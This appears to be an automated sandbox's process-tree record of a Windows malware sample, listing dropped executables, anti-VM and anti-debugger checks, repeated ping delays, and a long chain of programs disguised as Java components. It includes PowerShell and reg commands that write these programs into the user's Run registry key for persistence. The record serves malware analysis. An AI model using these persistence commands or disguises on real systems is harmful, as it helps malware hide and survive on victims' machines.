C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}1⤵
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exeC:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5140 -ip 51401⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\{b8e6e47f-a34d-4bf5-934a-244b2ce54ace}\9bc6a6a9-4071-49a3-b7eb-e4077b3287f2.cmd"1⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 12⤵
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exeC:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exeC:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe4⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe5⤵
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javaplugin_update.exe"6⤵
- Modifies registry key
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-ItemProperty -Path \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" -Name \"Java Platform SE javaplugin_update.exe\" -Value '\"C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe\"'"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe4⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe5⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe6⤵
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javaplugin_platform.exe"7⤵
- Modifies registry key
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-ItemProperty -Path \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" -Name \"Java Platform SE javaplugin_platform.exe\" -Value '\"C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe\"'"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe4⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe5⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe6⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe7⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe8⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe9⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe10⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe11⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe12⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe13⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice.exe14⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe15⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe16⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe17⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe18⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe19⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe20⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe21⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe22⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe23⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe24⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe25⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe26⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe27⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe28⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe29⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe30⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe31⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe32⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe33⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe34⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe35⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe36⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe37⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe38⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe39⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe40⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe41⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe42⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe43⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe44⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe45⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe46⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe47⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe48⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe49⤵
-
